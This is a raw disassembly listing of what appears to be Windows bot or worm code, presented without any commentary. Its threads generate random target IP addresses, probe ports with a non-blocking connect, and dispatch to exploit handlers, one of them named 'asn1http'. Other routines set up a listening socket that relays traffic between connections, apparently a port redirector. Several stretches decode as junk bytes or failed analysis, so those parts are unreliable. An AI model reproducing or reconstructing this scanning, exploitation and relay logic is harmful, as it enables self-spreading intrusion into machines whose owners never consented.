		cmp	dword_433330, ebx
		jnz	short loc_405A1F
		push	32h
		call	dword_41D05C	; Sleep
		jmp	short loc_4059F2
; ---------------------------------------------------------------------------


loc_405A04:				; CODE XREF: .nsp0:004059F0j
		call	dword_41D06C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-204h]
		push	offset unk_422B5C
		push	eax
		call	sub_411EEE
		add	esp, 0Ch


loc_405A1F:				; CODE XREF: .nsp0:004059F8j
		lea	eax, [ebp-204h]
		push	eax
		call	sub_408E17
		mov	edi, offset dword_4336EC
		mov	dword ptr [esp], 104h
		push	edi
		push	ebx
		mov	dword_4338F8, ebx
		call	near ptr 0AB0000h
		js	short loc_405AAE
		add	eax, [ecx]
; ---------------------------------------------------------------------------
		dd 0F0BE0000h, 68004337h, 425BC0h, 0DCB6E856h, 858B0000h
		dd 118h, 380CC483h, 989Dh, 36E8A300h, 858B0043h, 140h
		dd 80A37F6Ah, 75004339h, 18458D1Dh, 39006850h, 85E80043h
		dd 830000DCh, 5C70CC4h,	433984h, 1, 858D1AEBh, 98h, 39006850h
		dd 65E80043h, 830000DCh
		db 0C4h, 0Ch
; ---------------------------------------------------------------------------


loc_405AAE:				; CODE XREF: .nsp0:00405A44j
		mov	dword_433984, ebx
		push	esi
		push	edi
		push	dword_4338FC
		lea	eax, [ebp-204h]
		push	offset dword_422B08
		push	eax
		call	sub_411EEE
		push	ebx
		lea	eax, [ebp-204h]
		push	5
		push	eax
		call	sub_41199A
		add	esp, 20h
		mov	dword_4338F4, eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	offset dword_4336E8
		push	offset sub_403A5B
		push	ebx
		push	ebx
		call	dword_41D070	; CreateThread
		mov	ecx, dword_4338F4
		pop	edi
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_438C6C[ecx], eax
		jz	short loc_405B28


loc_405B12:				; CODE XREF: .nsp0:00405B26j
		cmp	dword_433988, ebx
		jnz	loc_405C4B
		push	32h
		call	dword_41D05C	; Sleep
		jmp	short loc_405B12
; ---------------------------------------------------------------------------


loc_405B28:				; CODE XREF: .nsp0:00405B10j
		call	dword_41D06C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_422AC4
		jmp	loc_405C3C
; ---------------------------------------------------------------------------


loc_405B39:				; CODE XREF: .nsp0:004058EDj
		cmp	dword_422890[eax], ebx
		jz	loc_405C58
		push	3
		call	sub_411BE2
		test	eax, eax
		pop	ecx
		jnz	loc_405C58
		mov	esi, offset dword_4335C4
		push	104h
		push	esi
		push	ebx
		call	near ptr 0AB0000h
		jbe	short near ptr loc_405BCF+3
		pop	esp
		push	esi
		call	sub_413A10
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_405B77
		mov	[eax], bl


loc_405B77:				; CODE XREF: .nsp0:00405B73j
		mov	eax, dword_425B5C
		mov	dword_4336DC, ebx
		mov	dword_4336C8, eax
		lea	eax, [ebp+18h]
		push	eax
		push	offset dword_43333C
		call	sub_411EEE
		mov	eax, [ebp+118h]
		pop	ecx
		pop	ecx
		mov	dword_433338, eax
		mov	ecx, [ebp+140h]
		push	esi
		push	dword_4336C8
		mov	dword_4336D4, ecx
		mov	ecx, [ebp+144h]
		push	eax
		mov	dword_4336D8, ecx
		call	sub_408045
		pop	ecx
		push	eax
		lea	eax, [ebp-204h]


loc_405BCF:				; CODE XREF: .nsp0:00405B66j
		push	offset unk_422A74
		push	eax
		call	sub_411EEE
		push	ebx
		lea	eax, [ebp-204h]
		push	3
		push	eax
		call	sub_41199A
		add	esp, 20h
		mov	dword_4336D0, eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	offset dword_433338
		push	offset sub_404175
		push	ebx
		push	ebx
		call	dword_41D070	; CreateThread
		mov	ecx, dword_4336D0
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_438C6C[ecx], eax
		jz	short loc_405C30


loc_405C1E:				; CODE XREF: .nsp0:00405C2Ej
		cmp	dword_4336E4, ebx
		jnz	short loc_405C4B
		push	32h
		call	dword_41D05C	; Sleep
		jmp	short loc_405C1E
; ---------------------------------------------------------------------------


loc_405C30:				; CODE XREF: .nsp0:00405C1Cj
		call	dword_41D06C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_422A2C


loc_405C3C:				; CODE XREF: .nsp0:00405B34j
		lea	eax, [ebp-204h]
		push	eax
		call	sub_411EEE
		add	esp, 0Ch


loc_405C4B:				; CODE XREF: .nsp0:00405B18j
					; .nsp0:00405C24j
		lea	eax, [ebp-204h]
		push	eax
		call	sub_408E17
		pop	ecx


loc_405C58:				; CODE XREF: .nsp0:004058DCj
					; .nsp0:004058FDj ...
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405C5C	proc near		; CODE XREF: sub_405DDD:loc_405E4Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:432718h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_411FD0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4339FC	; ntohl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_433AC4	; ntohl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_411FD0
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_405C5C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405CA4	proc near		; CODE XREF: sub_405DDD+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_4126F0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_405CCC
		xor	eax, eax
		jmp	short loc_405D3D
; ---------------------------------------------------------------------------


loc_405CCC:				; CODE XREF: sub_405CA4+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_413470
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_405CF9
		call	sub_411F4A
		mov	[ebp+var_C], eax


loc_405CF9:				; CODE XREF: sub_405CA4+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_405D06
		call	sub_411F4A
		mov	[ebp+var_8], eax


loc_405D06:				; CODE XREF: sub_405CA4+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_405D13
		call	sub_411F4A
		mov	[ebp+var_4], eax


loc_405D13:				; CODE XREF: sub_405CA4+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_405D1F
		call	sub_411F4A


loc_405D1F:				; CODE XREF: sub_405CA4+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_432718[ecx*8], eax


loc_405D3D:				; CODE XREF: sub_405CA4+26j
		pop	esi
		leave
		retn
sub_405CA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405D40	proc near		; CODE XREF: sub_405DDD+B8p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_433B48	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_405D69
		xor	eax, eax
		jmp	short loc_405DD8
; ---------------------------------------------------------------------------


loc_405D69:				; CODE XREF: sub_405D40+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_433AC8	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_433B64	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_433A70	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_433AB0	; select
		push	esi
		mov	edi, eax
		call	dword_433B60	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_405DD8:				; CODE XREF: sub_405D40+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405D40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405DDD	proc near		; DATA XREF: sub_405FF1+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	dword_41D048	; GetTickCount
		push	eax
		call	sub_411F40
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_405E24:				; CODE XREF: sub_405DDD+200j
		mov	eax, dword_438C5C[ebx]
		cmp	dword_43271C[eax*8], 0
		jz	loc_405FE2
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_405E4E
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_405CA4
		pop	ecx
		jmp	short loc_405E53
; ---------------------------------------------------------------------------


loc_405E4E:				; CODE XREF: sub_405DDD+60j
		call	sub_405C5C


loc_405E53:				; CODE XREF: sub_405DDD+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_438C5C[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_433B54	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_422C40
		push	eax
		call	sub_411EEE
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_438A58[ebx]
		push	eax
		call	sub_411EEE
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_405D40
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_405FD2
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_405F27
		push	offset dword_433078
		call	dword_41D0A4	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	dword_433B54	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_422C04
		push	eax
		call	sub_411EEE
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_405F09
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_405EFD
		lea	eax, [ebp+var_140]


loc_405EFD:				; CODE XREF: sub_405DDD+118j
		push	eax
		push	[ebp+var_40]
		call	sub_40F9F1
		add	esp, 14h


loc_405F09:				; CODE XREF: sub_405DDD+FDj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_408E17
		mov	[esp+2A8h+var_2A8], offset dword_433078
		call	dword_41D0A0	; RtlLeaveCriticalSection
		jmp	loc_405FD2
; ---------------------------------------------------------------------------


loc_405F27:				; CODE XREF: sub_405DDD+CDj
		push	edi
		call	dword_433B54	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_411EEE
		mov	eax, [ebp+var_20]
		imul	eax, 3Ch
		add	eax, offset aAsn1http_0	; "asn1http"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_411EEE
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_405F6B
		lea	eax, [ebp+var_140]


loc_405F6B:				; CODE XREF: sub_405DDD+186j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_411EEE
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	off_422884[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_405FD2:				; CODE XREF: sub_405DDD+C3j
					; sub_405DDD+145j
		push	7D0h
		call	dword_41D05C	; Sleep
		jmp	loc_405E24
; ---------------------------------------------------------------------------


loc_405FE2:				; CODE XREF: sub_405DDD+55j
		push	esi
		call	sub_411CB6
		pop	ecx
		push	0
		call	near ptr 0AB0000h
		stosb
sub_405DDD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405FF1	proc near		; DATA XREF: .nsp0:0040D0F4o
					; .nsp0:0040EB09o

var_1DC		= dword	ptr -1DCh
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_433B08	; inet_addr
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_432718[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	loc_4058C8
		push	8
		call	sub_411BE2
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_4060BF
		mov	esi, offset dword_433078
		push	esi
		call	dword_41D0AC	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	dword_41D0A8	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_4060BF
		lea	eax, [ebp+var_1CC]
		push	offset unk_422D84
		push	eax
		call	sub_411EEE
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_4060A9
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40F9F1
		add	esp, 14h


loc_4060A9:				; CODE XREF: sub_405FF1+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_408E17
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_4060BF:				; CODE XREF: sub_405FF1+63j
					; sub_405FF1+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_41D05C
		mov	edi, ebx
		mov	dword_43271C[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40618C


loc_4060DD:				; CODE XREF: sub_405FF1+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_422D38
		push	eax
		call	sub_411EEE
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	8
		push	eax
		call	sub_41199A
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_438C5C[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_405DDD
		push	ebx
		push	ebx
		call	dword_41D070	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_438C6C[ecx], eax
		jz	short loc_406157


loc_40614C:				; CODE XREF: sub_405FF1+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_40617E
		push	1Eh
		call	esi ; dword_41D05C
		jmp	short loc_40614C
; ---------------------------------------------------------------------------


loc_406157:				; CODE XREF: sub_405FF1+159j
		call	dword_41D06C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_422CE8
		push	eax
		call	sub_411EEE
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_408E17
		add	esp, 10h


loc_40617E:				; CODE XREF: sub_405FF1+15Ej
		push	1Eh
		call	esi ; dword_41D05C
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_4060DD


loc_40618C:				; CODE XREF: sub_405FF1+E6j
		cmp	[ebp+var_30], ebx
		jz	near ptr loc_406235+1
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi ; dword_41D05C


loc_4061A1:				; CODE XREF: sub_405FF1+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_432718[eax*8]
		push	eax
		call	dword_433B54	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_422C90 ; CODE XREF: sub_405FF1:loc_406235j
		push	eax
		call	sub_411EEE
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_4061EF
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40F9F1
		add	esp, 14h


loc_4061EF:				; CODE XREF: sub_405FF1+1DFj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_408E17
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	dword_43271C[eax*8], ebx
		call	esi ; dword_41D05C
		push	8
		call	sub_411BE2
		cmp	eax, 1
		pop	ecx
		jnz	short loc_406226
		push	offset dword_433078
		call	dword_41D0AC	; RtlDeleteCriticalSection


loc_406226:				; CODE XREF: sub_405FF1+228j
		push	[ebp+var_2C]
		call	sub_411CB6
		pop	ecx
		push	ebx
		call	near ptr 0AB0000h


loc_406235:				; CODE XREF: sub_405FF1+19Ej
					; sub_405FF1+25Dj
		jo	short near ptr loc_4061BF+3
		inc	ebp
		aam	83h
		cmp	al, 0C5h
		sbb	al, 27h
		inc	ebx
		add	[ecx], al
		jnz	loc_4061A1
		push	7D0h
		call	esi ; dword_41D05C
		jmp	short near ptr loc_406235+1
sub_405FF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406250	proc near		; DATA XREF: .nsp0:0040D4CBo

var_34C		= byte ptr -34Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		push	10h
		mov	[eax+120h], edi
		pop	ebx
		lea	eax, [ebp+var_10]
		push	ebx
		push	esi
		push	eax
		call	sub_411F70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_40]
		call	dword_433AC8	; ntohs
		push	6
		push	edi
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], esi
		mov	[ebp+arg_0], ebx
		call	dword_433B48	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4063B4
		mov	eax, [ebp+var_3C]
		push	edi
		imul	eax, 234h
		push	401h
		push	esi
		push	ebx
		mov	dword_438C64[eax], ebx
		call	dword_4339E4	; WSAAsyncSelect
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_433AF4	; bind
		test	eax, eax
		jnz	loc_4063B4
		push	0Ah
		push	ebx
		call	dword_433AF0	; listen
		test	eax, eax
		jnz	loc_4063B4


loc_4062FA:				; CODE XREF: sub_406250+BEj
					; sub_406250+13Fj
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	dword_433B5C	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4062FA
		movzx	eax, [ebp+var_22]
		push	[ebp+var_3C]
		mov	[ebp+var_148], edi
		mov	[ebp+var_2C], esi
		push	eax
		push	[ebp+var_20]
		call	dword_433B54	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_34C]
		push	offset unk_422E20
		push	eax
		call	sub_411EEE
		push	edi
		lea	eax, [ebp+var_34C]
		push	10h
		push	eax
		call	sub_41199A
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_438C5C[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_14C]
		push	esi
		push	eax
		push	offset loc_4063D8
		push	esi
		push	esi
		call	dword_41D070	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_438C6C[ecx], eax
		jz	short loc_40639F


loc_40638C:				; CODE XREF: sub_406250+14Dj
		cmp	[ebp+var_2C], esi
		jnz	loc_4062FA
		push	32h
		call	dword_41D05C	; Sleep
		jmp	short loc_40638C
; ---------------------------------------------------------------------------


loc_40639F:				; CODE XREF: sub_406250+13Aj
		call	dword_41D06C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_422DD0
		call	sub_408E8B
		pop	ecx
		pop	ecx
		jmp	short loc_4063B7
; ---------------------------------------------------------------------------


loc_4063B4:				; CODE XREF: sub_406250+61j
					; sub_406250+93j ...
		mov	edi, [ebp+arg_0]


loc_4063B7:				; CODE XREF: sub_406250+162j
		push	edi
		call	dword_433B60	; closesocket
		push	ebx
		call	dword_433B60	; closesocket
		push	[ebp+var_3C]
		call	sub_411CB6
		pop	ecx
		push	esi
		call	near ptr 0AB0000h
		push	edi
		pop	edi
		pop	esi
		pop	ebx
sub_406250	endp ; sp-analysis failed



loc_4063D8:				; DATA XREF: sub_406250+11Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_412770
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_433B48	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_40658E
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_411F70
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_433AC8	; ntohs
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_433B08	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_406468
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_433B4C	; gethostbyname
		jmp	short loc_406476
; ---------------------------------------------------------------------------


loc_406468:				; CODE XREF: .nsp0:00406457j
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_433A80	; gethostbyaddr


loc_406476:				; CODE XREF: .nsp0:00406466j
		cmp	eax, edi
		jz	loc_40658E
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_433A70	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40658E
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_433B54	; inet_ntoa
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_422ECC
		push	eax
		call	sub_411EEE
		push	esi
		lea	eax, [ebp-344h]
		push	10h
		push	eax
		call	sub_41199A
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_438C64[ebx]
		mov	dword_438C5C[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_438C68[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_4065BF
		push	edi
		push	edi
		call	dword_41D070	; CreateThread
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_438C6C[ecx], eax
		jz	short loc_40657B


loc_406528:				; CODE XREF: .nsp0:00406535j
		cmp	[ebp-20h], edi
		jnz	short loc_406537
		push	32h
		call	dword_41D05C	; Sleep
		jmp	short loc_406528
; ---------------------------------------------------------------------------


loc_406537:				; CODE XREF: .nsp0:0040652Bj
		mov	ebx, 1000h


loc_40653C:				; CODE XREF: .nsp0:00406577j
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_411F70
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_433AE0	; recv
		cmp	eax, edi
		jle	short loc_40658E
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_433B18	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40653C
		jmp	short loc_40658E
; ---------------------------------------------------------------------------


loc_40657B:				; CODE XREF: .nsp0:00406526j
		call	dword_41D06C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_422E78
		call	sub_408E8B
		pop	ecx
		pop	ecx


loc_40658E:				; CODE XREF: .nsp0:0040641Cj
					; .nsp0:00406478j ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_438C64[eax]
		call	dword_433B60	; closesocket
		push	dword ptr [ebp+8]
		call	dword_433B60	; closesocket
		push	dword ptr [ebp-4]
		call	sub_411CB6
		pop	ecx
		push	edi
		call	near ptr 0AB0000h
		db	26h
		pop	edi
		pop	esi
		pop	ebx


loc_4065BF:				; DATA XREF: .nsp0:00406508o
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_412770
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_4065F6:				; CODE XREF: .nsp0:0040663Bj
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_411F70
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_438C68[esi]
		call	dword_433AE0	; recv
		test	eax, eax
		jle	short loc_40663D
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_438C64[esi]
		call	dword_433B18	; send
		cmp	eax, 0FFFFFFFFh
